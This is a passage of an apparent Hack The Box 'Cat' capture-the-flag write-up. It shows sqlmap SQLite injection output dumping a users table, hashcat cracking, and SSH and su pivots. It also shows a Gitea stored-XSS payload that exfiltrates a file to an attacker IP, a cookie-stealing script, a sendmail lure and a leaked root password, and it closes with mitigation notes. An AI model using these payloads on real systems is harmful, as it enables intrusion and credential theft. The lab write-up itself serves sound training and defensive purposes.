    Payload: catName=test'||(SELECT CHAR(117,69,109,108) WHERE 6128=6128 AND 4591=4591)||'&catId=1

    Type: time-based blind
    Title: SQLite > 2.0 AND time-based blind (heavy query)
    Payload: catName=test'||(SELECT CHAR(78,79,66,119) WHERE 4741=4741 AND 3655=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))||'&catId=1
---
[14:49:26] [INFO] testing SQLite
[14:49:26] [INFO] confirming SQLite
[14:49:26] [INFO] actively fingerprinting SQLite
[14:49:26] [INFO] the back-end DBMS is SQLite
web server operating system: Linux Ubuntu 20.10 or 20.04 or 19.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: SQLite
[14:49:26] [INFO] retrieving the length of query output
[14:49:26] [INFO] retrieved: 159
[14:49:35] [INFO] retrieved: CREATE TABLE users (     user_id INTEGER PRIMARY KEY,     username VARCHAR(255) NOT NULL,     email VARCHAR(255) NOT NULL,     password VARCHAR(255) NOT NULL )               
[14:49:35] [INFO] fetching entries for table 'users'
[14:49:35] [INFO] fetching number of entries for table 'users' in database 'SQLite_masterdb'
[14:49:35] [INFO] retrieved: 11
[14:49:35] [INFO] retrieving the length of query output
[14:49:35] [INFO] retrieved: 18
[14:49:36] [INFO] retrieved: axel2017@gmail.com             
[14:49:36] [INFO] retrieving the length of query output
[14:49:36] [INFO] retrieved: 32
[14:49:38] [INFO] retrieved: d1bbba3670feb9435c9841e46e60ee2f             
[14:49:38] [INFO] retrieving the length of query output
[14:49:38] [INFO] retrieved: 1
[14:49:38] [INFO] retrieved: 1
[14:49:39] [INFO] retrieving the length of query output
[14:49:39] [INFO] retrieved: 4
[14:49:39] [INFO] retrieved: axel           
[14:49:39] [INFO] retrieving the length of query output
[14:49:39] [INFO] retrieved: 24
[14:49:41] [INFO] retrieved: rosamendoza485@gmail.com             
[14:49:41] [INFO] retrieving the length of query output
[14:49:41] [INFO] retrieved: 32
[14:49:43] [INFO] retrieved: ac369922d560f17d6eeb8b2c7dec498c             
[14:49:43] [INFO] retrieving the length of query output
[14:49:43] [INFO] retrieved: 1
[14:49:43] [INFO] retrieved: 2
[14:49:44] [INFO] retrieving the length of query output
[14:49:44] [INFO] retrieved: 4
[14:49:44] [INFO] retrieved: rosa           
[14:49:44] [INFO] retrieving the length of query output
[14:49:44] [INFO] retrieved: 29
[14:49:46] [INFO] retrieved: robertcervantes2000@gmail.com             
[14:49:46] [INFO] retrieving the length of query output
[14:49:46] [INFO] retrieved: 32
[14:49:48] [INFO] retrieved: 42846631708f69c00ec0c0a8aa4a92ad             
[14:49:48] [INFO] retrieving the length of query output
[14:49:48] [INFO] retrieved: 1
[14:49:49] [INFO] retrieved: 3
[14:49:49] [INFO] retrieving the length of query output
[14:49:49] [INFO] retrieved: 6
[14:49:50] [INFO] retrieved: robert           
[14:49:50] [INFO] retrieving the length of query output
[14:49:50] [INFO] retrieved: 29
[14:49:51] [INFO] retrieved: fabiancarachure2323@gmail.com             
[14:49:51] [INFO] retrieving the length of query output
[14:49:51] [INFO] retrieved: 32
[14:49:53] [INFO] retrieved: 39e153e825c4a3d314a0dc7f7475ddbe             
[14:49:53] [INFO] retrieving the length of query output
[14:49:53] [INFO] retrieved: 1
[14:49:53] [INFO] retrieved: 4
[14:49:54] [INFO] retrieving the length of query output
[14:49:54] [INFO] retrieved: 6
[14:49:55] [INFO] retrieved: fabian           
[14:49:55] [INFO] retrieving the length of query output
[14:49:55] [INFO] retrieved: 22
[14:49:56] [INFO] retrieved: jerrysonC343@gmail.com             
[14:49:56] [INFO] retrieving the length of query output
[14:49:56] [INFO] retrieved: 32
[14:49:59] [INFO] retrieved: 781593e060f8d065cd7281c5ec5b4b86             
[14:49:59] [INFO] retrieving the length of query output
[14:49:59] [INFO] retrieved: 1
[14:49:59] [INFO] retrieved: 5
[14:49:59] [INFO] retrieving the length of query output
[14:49:59] [INFO] retrieved: 8
[14:50:00] [INFO] retrieved: jerryson           
[14:50:00] [INFO] retrieving the length of query output
[14:50:00] [INFO] retrieved: 20
[14:50:02] [INFO] retrieved: larryP5656@gmail.com             
[14:50:02] [INFO] retrieving the length of query output
[14:50:02] [INFO] retrieved: 32
[14:50:04] [INFO] retrieved: 1b6dce240bbfbc0905a664ad199e18f8             
[14:50:04] [INFO] retrieving the length of query output
[14:50:04] [INFO] retrieved: 1
[14:50:04] [INFO] retrieved: 6
[14:50:05] [INFO] retrieving the length of query output
[14:50:05] [INFO] retrieved: 5
[14:50:05] [INFO] retrieved: larry           
[14:50:05] [INFO] retrieving the length of query output
[14:50:05] [INFO] retrieved: 25
[14:50:07] [INFO] retrieved: royer.royer2323@gmail.com             
[14:50:07] [INFO] retrieving the length of query output
[14:50:07] [INFO] retrieved: 30
[14:50:10] [INFO] retrieved: c598f6b844a36fa7836fba0835f1f6             
[14:50:10] [INFO] retrieving the length of query output
[14:50:10] [INFO] retrieved: 1
[14:50:10] [INFO] retrieved: 7
[14:50:11] [INFO] retrieving the length of query output
[14:50:11] [INFO] retrieved: 5
[14:50:11] [INFO] retrieved: royer           
[14:50:11] [INFO] retrieving the length of query output
[14:50:11] [INFO] retrieved: 20
[14:50:13] [INFO] retrieved: peterCC456@gmail.com             
[14:50:13] [INFO] retrieving the length of query output
[14:50:13] [INFO] retrieved: 32
[14:50:15] [INFO] retrieved: e41ccefa439fc454f7eadbf1f139ed8a             
[14:50:15] [INFO] retrieving the length of query output
[14:50:15] [INFO] retrieved: 1
[14:50:15] [INFO] retrieved: 8
[14:50:15] [INFO] retrieving the length of query output
[14:50:15] [INFO] retrieved: 5
[14:50:16] [INFO] retrieved: peter           
[14:50:16] [INFO] retrieving the length of query output
[14:50:16] [INFO] retrieved: 19
[14:50:17] [INFO] retrieved: angel234g@gmail.com             
[14:50:17] [INFO] retrieving the length of query output
[14:50:17] [INFO] retrieved: 32
[14:50:19] [INFO] retrieved: 24a8ec003ac2e1b3c5953a6f95f8f565             
[14:50:19] [INFO] retrieving the length of query output
[14:50:19] [INFO] retrieved: 1
[14:50:19] [INFO] retrieved: 9
[14:50:19] [INFO] retrieving the length of query output
[14:50:19] [INFO] retrieved: 5
[14:50:20] [INFO] retrieved: angel           
[14:50:20] [INFO] retrieving the length of query output
[14:50:20] [INFO] retrieved: 20
[14:50:21] [INFO] retrieved: jobert2020@gmail.com             
[14:50:21] [INFO] retrieving the length of query output
[14:50:21] [INFO] retrieved: 32
[14:50:23] [INFO] retrieved: 88e4dceccd48820cf77b5cf6c08698ad             
[14:50:23] [INFO] retrieving the length of query output
[14:50:23] [INFO] retrieved: 2
[14:50:23] [INFO] retrieved: 10           
[14:50:23] [INFO] retrieving the length of query output
[14:50:23] [INFO] retrieved: 6
[14:50:24] [INFO] retrieved: jobert           
[14:50:24] [INFO] retrieving the length of query output
[14:50:24] [INFO] retrieved: 13
[14:50:25] [INFO] retrieved: test@test.com             
[14:50:25] [INFO] retrieving the length of query output
[14:50:25] [INFO] retrieved: 32
[14:50:27] [INFO] retrieved: 098f6bcd4621d373cade4e832627b4f6             
[14:50:27] [INFO] retrieving the length of query output
[14:50:27] [INFO] retrieved: 2
[14:50:28] [INFO] retrieved: 11           
[14:50:28] [INFO] retrieving the length of query output
[14:50:28] [INFO] retrieved: 82
[14:50:32] [INFO] retrieved: <script>document.location='http://10.10.14.150:8000/?c='+document.cookie;</script>             
[14:50:32] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 

do you want to crack them via a dictionary-based attack? [Y/n/q] 

[14:50:52] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 

[14:50:54] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] 

[14:50:58] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[14:50:58] [INFO] starting 2 processes 
[14:51:01] [INFO] cracked password 'test' for user '<script>document.location='http://10.10.14.150:8000/?c='+document.cookie;</script>'                                                                                                   
Database: <current>                                                                                                                                                                                                                       
Table: users
[11 entries]
+---------+-------------------------------+-----------------------------------------+------------------------------------------------------------------------------------+
| user_id | email                         | password                                | username                                                                           |
+---------+-------------------------------+-----------------------------------------+------------------------------------------------------------------------------------+
| 1       | axel2017@gmail.com            | d1bbba3670feb9435c9841e46e60ee2f        | axel                                                                               |
| 2       | rosamendoza485@gmail.com      | ac369922d560f17d6eeb8b2c7dec498c        | rosa                                                                               |
| 3       | robertcervantes2000@gmail.com | 42846631708f69c00ec0c0a8aa4a92ad        | robert                                                                             |
| 4       | fabiancarachure2323@gmail.com | 39e153e825c4a3d314a0dc7f7475ddbe        | fabian                                                                             |
| 5       | jerrysonC343@gmail.com        | 781593e060f8d065cd7281c5ec5b4b86        | jerryson                                                                           |
| 6       | larryP5656@gmail.com          | 1b6dce240bbfbc0905a664ad199e18f8        | larry                                                                              |
| 7       | royer.royer2323@gmail.com     | c598f6b844a36fa7836fba0835f1f6          | royer                                                                              |
| 8       | peterCC456@gmail.com          | e41ccefa439fc454f7eadbf1f139ed8a        | peter                                                                              |
| 9       | angel234g@gmail.com           | 24a8ec003ac2e1b3c5953a6f95f8f565        | angel                                                                              |
| 10      | jobert2020@gmail.com          | 88e4dceccd48820cf77b5cf6c08698ad        | jobert                                                                             |
| 11      | test@test.com                 | 098f6bcd4621d373cade4e832627b4f6 (test) | <script>document.location='http://10.10.14.150:8000/?c='+document.cookie;</script> |
+---------+-------------------------------+-----------------------------------------+------------------------------------------------------------------------------------+

[14:51:02] [INFO] table 'SQLite_masterdb.users' dumped to CSV file '/home/sc4nx/.local/share/sqlmap/output/cat.htb/dump/SQLite_masterdb/users.csv'
[14:51:02] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 3414 times
[14:51:02] [INFO] fetched data logged to text files under '/home/sc4nx/.local/share/sqlmap/output/cat.htb'

[*] ending @ 14:51:02 /2025-02-05/

Note: The backend uses SQLite, not MySQL, which explains the Boolean-blind injection behavior and json() test pattern.

And then crack the retrieved hashes :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Cat]
└─$ hashcat -m 0 hashes /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz -O
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================
* Device #1: cpu--0x000, 2911/5886 MB (1024 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 31

Hashfile 'hashes' on line 7 (c598f6b844a36fa7836fba0835f1f6): Token length exception

* Token length exception: 1/10 hashes
  This error happens if the wrong hash type is specified, if the hashes are
  malformed, or if input is otherwise not as expected (for example, if the
  --username option is used but no username is present)

Hashes: 9 digests; 9 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Optimized-Kernel
* Zero-Byte
* Precompute-Init
* Meet-In-The-Middle
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache built:
* Filename..: /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz
* Passwords.: 14344392
* Bytes.....: 139923457
* Keyspace..: 14344383
* Runtime...: 1 sec

ac369922d560f17d6eeb8b2c7dec498c:soyunaprincesarosa       
Cracking performance lower than expected?                 

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.           

                                                          
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: hashes
Time.Started.....: Wed Feb  5 14:58:36 2025 (4 secs)
Time.Estimated...: Wed Feb  5 14:58:40 2025 (0 secs)
Kernel.Feature...: Optimized Kernel
Guess.Base.......: File (/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  3257.4 kH/s (0.20ms) @ Accel:512 Loops:1 Thr:1 Vec:4
Recovered........: 1/9 (11.11%) Digests (total), 1/9 (11.11%) Digests (new)
Progress.........: 14344383/14344383 (100.00%)
Rejected.........: 3094/14344383 (0.02%)
Restore.Point....: 14344383/14344383 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[2068656e64726978] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Util: 53%

Started: Wed Feb  5 14:58:25 2025
Stopped: Wed Feb  5 14:58:42 2025

Great ! We now have credentials for rosa


User Flag

This user has ssh access on the server :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Cat]
└─$ ssh rosa@cat.htb                         
The authenticity of host 'cat.htb (10.129.83.32)' can't be established.
ED25519 key fingerprint is SHA256:tsmOV3JuQkCv6HNUqg9YQ+DJznLS2nYKJl4zIwKtbE4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'cat.htb' (ED25519) to the list of known hosts.
rosa@cat.htb's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-204-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Wed 05 Feb 2025 02:02:00 PM UTC

  System load:           0.8
  Usage of /:            60.5% of 6.06GB
  Memory usage:          28%
  Swap usage:            0%
  Processes:             241
  Users logged in:       0
  IPv4 address for eth0: 10.129.83.32
  IPv6 address for eth0: dead:beef::250:56ff:fe94:c779


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sat Sep 28 15:44:52 2024 from 192.168.1.64
rosa@cat:~$ 

From there, we did some system enumeration and credentials hunting and found interesting stuff in apache logs :

1
2
3
4
5
127.0.0.1 - - [31/Jan/2025:12:29:52 +0000] "GET / HTTP/1.1" 200 1436 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [31/Jan/2025:12:29:52 +0000] "GET /admin.php HTTP/1.1" 200 1327 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [31/Jan/2025:12:30:02 +0000] "GET /join.php HTTP/1.1" 200 1683 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [31/Jan/2025:12:30:02 +0000] "GET /favicon.ico HTTP/1.1" 404 485 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
127.0.0.1 - - [31/Jan/2025:12:30:03 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"

These are credentials for axel, we can now pivot under this user account and grab the user flag :

1
2
3
rosa@cat:/var/log/apache2$ su - axel
Password: 
axel@cat:~$ 

Privilege Escalation

Checking owned files revealed a mailbox with interesting messages :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
axel@cat:~$ find / -user axel 2>/dev/null
/usr/local/bin/geckodriver
/var/mail/axel
axel@cat:~$ cat /var/mail/axel 
From rosa@cat.htb  Sat Sep 28 04:51:50 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
        for <axel@cat.htb>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
        for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: rosa@cat.htb
Message-Id: <202409280451.48S4pnlT001591@cat.htb>
Subject: New cat services

Hi Axel,

We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.

Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.

From rosa@cat.htb  Sat Sep 28 05:05:28 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
        for <axel@cat.htb>; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
        for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: rosa@cat.htb
Message-Id: <202409280505.48S55Sm0002267@cat.htb>
Subject: Employee management

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.

There is indeed a local service listening on port 3000. We will local forward this port and expose it to our host :

1
ssh -L 3000:localhost:3000 axel@cat.htb

This is a gitea instance :

gitea

This gitea version suffers from a stored XSS vulnerability : CVE-2023-22426

Exploit PoC : https://www.exploit-db.com/exploits/52077

Following this exploit PoC, and based on the found email, we will create a new repository and put this payload in the description field :

1
2
3
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php')
  .then(response => response.text())
  .then(data => fetch('http://10.10.15.66:8000/?d='+encodeURIComponent(btoa(data)), {mode: 'no-cors'}));">XSS test</a>

We then have to trick jobert into clicking our new repo :

1
echo -e "Subject: Test Email\n\nHello, check repo http://localhost:3000/axel/test" | sendmail jobert@cat.htb

On our nc listener, we got a hit :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Cat]
└─$ python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...




10.129.43.27 - - [06/Feb/2025 10:43:50] "GET /?d= HTTP/1.1" 200 -



10.129.43.27 - - [06/Feb/2025 10:50:57] "GET /?d=IyBFbXBsb3llZSBNYW5hZ2VtZW50ClNpdGUgdW5kZXIgY29uc3RydWN0aW9uLiBBdXRob3JpemVkIHVzZXI6IGFkbWluLiBObyB2aXNpYmlsaXR5IG9yIHVwZGF0ZXMgdmlzaWJsZSB0byBlbXBsb3llZXMu HTTP/1.1" 200 -






10.129.43.27 - - [06/Feb/2025 10:55:34] "GET /?d=PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK HTTP/1.1" 200 -

We then decoded the base64 string :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || 
    $_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
    
    header('WWW-Authenticate: Basic realm="Employee Management"');
    header('HTTP/1.0 401 Unauthorized');
    exit;
}

header('Location: dashboard.php');
exit;
%ØSà 

Root Flag

The found password was the password used for the root account, so we got the root flag.


Mitigations / Blue team notes

  1. Web Application Security
    • Fix .git exposure: Add .htaccess deny rules or remove .git directories from production entirely.
    • Use prepared statements: Eliminate SQLi by parameterizing all queries (PDO->prepare() / bindParam()).
    • Input sanitization: Escape or filter all dynamic content rendered via echo to prevent XSS.
    • Set security flags on cookies:
    • HttpOnly
    • Secure
    • SameSite=Strict - Disable GET-based authentication: Never send credentials in URLs; use POST + HTTPS.
  2. Authentication & Credentials
    • Enforce password hashing with salt (e.g., bcrypt, Argon2) — MD5 is obsolete.
    • Prohibit credential reuse: Implement PAM password policies or centralized authentication.
    • Audit web logs: Sensitive credentials must never appear in access logs.
  3. Server Hardening
    • Disable local web apps exposure: Restrict internal services (like Gitea) to loopback and authenticated users only.
    • Patch Gitea: Update beyond 1.18.x to fix stored XSS (CVE-2023-22426).
    • Restrict sudo privileges: Regular users should not access mail or read /var/mail/*.
    • Audit SSH access: Implement key-based authentication and MFA for admins.
  4. Monitoring & Detection
    • Deploy WAF rules: Detect SQLi and XSS signatures (mod_security, OWASP CRS).
    • Set up alerting: Unexpected outbound traffic to unknown IPs (cookie exfiltration attempts) should trigger alerts.
    • Integrity monitoring: Watch .git/, /var/www/html/, and /etc/passwd for unauthorized changes.
This post is licensed under CC BY 4.0 by the author.